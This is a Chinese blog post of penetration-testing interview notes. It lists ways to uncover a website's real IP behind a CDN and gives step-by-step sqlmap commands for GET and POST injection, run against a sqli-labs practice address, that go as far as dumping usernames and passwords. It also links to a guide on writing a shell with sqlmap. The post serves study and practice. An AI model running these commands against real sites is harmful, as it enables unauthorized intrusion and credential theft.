前言
大家好,我是一名大四学生,最近正在找实习,我整理一些面试遇到的问题。以下的解答是我经过网络整理得出的,如果有不对或者缺少的地方欢迎大家指出。
一、CDN绕过的方法
方法1:查询历史DNS记录
1)查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:
https://dnsdb.io/zh-cn/ ###DNS查询,这个我访问不上
微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区 ###微步在线
http://toolbar.netcraft.com/site_report?url= ###在线域名信息查询
http://viewdns.info/ ###DNS、IP等查询
https://tools.ipip.net/cdn.php ###CDN查询IP,这个需要充钱
方法2:查询子域名
毕竟 CDN 还是不便宜的,所以很多站长可能只会对主站或者流量大的子站点做了 CDN,而很多小站子站点又跟主站在同一台服务器或者同一个C段内,此时就可以通过查询子域名对应的 IP 来辅助查找网站的真实IP。
下面介绍些常用的子域名查找的方法和工具:
1)微步在线(微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区)
点击子域名选项就可以查询,有次数限制:
2)Dnsdb查询法。(https://dnsdb.io/zh-cn/)
我访问是这样,不知道是不是要梯子。
3)Google 搜索
Google site:baidu.com -www就能查看除www外的子域名,如图:
可以看到honor.jd.com、mall.jd.com
4)各种子域名扫描器
我通常会用这个,大家可以GitHub上下载,搜索OneForAll即可找到。
命令基本使用方法:
python oneforall.py --target xx.xx.com run
方法3:网络空间引擎搜索法
常见的有以前的钟馗之眼,shodan,fofa搜索。以fofa为例,只需输入:title:“网站的title关键字”或者body:“网站的body特征”就可以找出fofa收录的有这些关键字的ip域名,很多时候能获取网站的真实ip,如图:
方法4:利用SSL证书寻找真实原始IP
没太懂怎么利用,不知道大家有没有知道的,分享在评论去。
方法5:利用HTTP标头寻找真实原始IP
借助SecurityTrails这样的平台,任何人都可以在茫茫的大数据搜索到自己的目标,甚至可以通过比较HTTP标头来查找到原始服务器。
特别是当用户拥有一个非常特别的服务器名称与软件名称时,攻击者找到你就变得更容易。
如果要搜索的数据相当多,如上所述,攻击者可以在Censys上组合搜索参数。假设你正在与1500个Web服务器共享你的服务器HTTP标头,这些服务器都发送的是相同的标头参数和值的组合。而且你还使用新的PHP框架发送唯一的HTTP标头(例如:X-Generated-Via:XYZ框架),目前约有400名网站管理员使用了该框架。而最终由三个服务器组成的交集,只需手动操作就可以找到了IP,整个过程只需要几秒钟。
例如,Censys上用于匹配服务器标头的搜索参数是80.http.get.headers.server :,查找由CloudFlare提供服务的网站的参数如下:
80.http.get.headers.server:cloudflare
方法6:利用网站返回内容寻找真实原始IP
如果原始服务器IP也返回了网站的内容,那么可以在网上搜索大量的相关数据。
浏览网站源代码,寻找独特的代码片段。在JavaScript中使用具有访问或标识符参数的第三方服务(例如Google Analytics,reCAPTCHA)是攻击者经常使用的方法。
以下是从HackTheBox网站获取的Google Analytics跟踪代码示例:
ga('create','UA-93577176-1','auto');
可以使用80.http.get.body:参数通过body/source过滤Censys数据,不幸的是,正常的搜索字段有局限性,但你可以在Censys请求研究访问权限,该权限允许你通过Google BigQuery进行更强大的查询。
Shodan是一种类似于Censys的服务,也提供了http.html搜索参数。
搜索示例:https://www.shodan.io/search?query=http.html%3AUA-32023260-1
方法7:使用国外主机解析域名
国内很多CDN厂商因为各种原因只做了国内的线路,而针对国外的线路可能几乎没有,此时我们使用国外的主机直接访问可能就能获取真实的IP。
方法8:网站漏洞查找
1.目标敏感文件泄露,例如:phpinfo之类的探针、Github信息泄露等。
2.XSS盲打,命令执行反弹shell,SSRF等。
3.无论是用社工还是其他手段,拿到了目标网站管理员在CDN的账号,从而在从CDN的配置中找到网站的真实IP。
方法9:网站邮件订阅查找
RSS邮件订阅,很多网站都自带 sendmail,会发邮件给我们,此时查看邮件源码里面就会包含服务器的真实 IP 了。
方法10:用Zmap扫全网
需要找 xiaix.me 网站的真实 IP,我们首先从 apnic 获取 IP 段,然后使用 Zmap 的 banner-grab 扫描出来 80 端口开放的主机进行 banner 抓取,最后在 http-req 中的 Host 写 xiaix.me。
以上内容参考:11种绕过CDN查找真实IP方法 - STARTURN - 博客园 (cnblogs.com)https://www.cnblogs.com/qiudabai/p/9763739.html
二、sqlmap的get\post\写shell的用法
get型注入:
1.判断是否存在注入
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1"
2.获取数据库名称
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" --dbs
3.获取表名
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" -D security --tables
-D 指定数据库名称
--tables 获取表名
4.获取列名
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" -D security -T users --columns
-T 指定表名
--columns 获取列名
5.获取字段内容
sqlmap -u "http://192.168.139.129/sqli/Less-1/?id=1" -D security -T users --dump "password,username"
post型注入:
先用bp抓包获取到需要注入的post请求包,保存到1.txt
1.寻找注入点:
python sqlmap.py -r D:\1.txt
2.获取所有数据库库名
python sqlmap.py -r D:\1.txt --dbs
3.获取当前数据库的库名
python sqlmap.py -r D:\1.txt --current-db
4.获取security数据库中所有表名
python sqlmap.py -r D:\1.txt -D security --tables
5.获取users表的全部字段名
python sqlmap.py -r D:\1.txt -D security -T users --columns
6.获取user表id,username和password字段的全部值
python sqlmap.py -r D:\1.txt -D security -T users -C id,username,password --dump
sqlmap写shell
这个步骤较多,大家可以看这个网址:
记一次渗透过程中用sqlmap写shell-腾讯云开发者社区-腾讯云 (tencent.com)https://cloud.tencent.com/developer/article/1480571
结束
今天先整理这么多,还有一些明天继续整理,大家有好的建议也可以给我提出。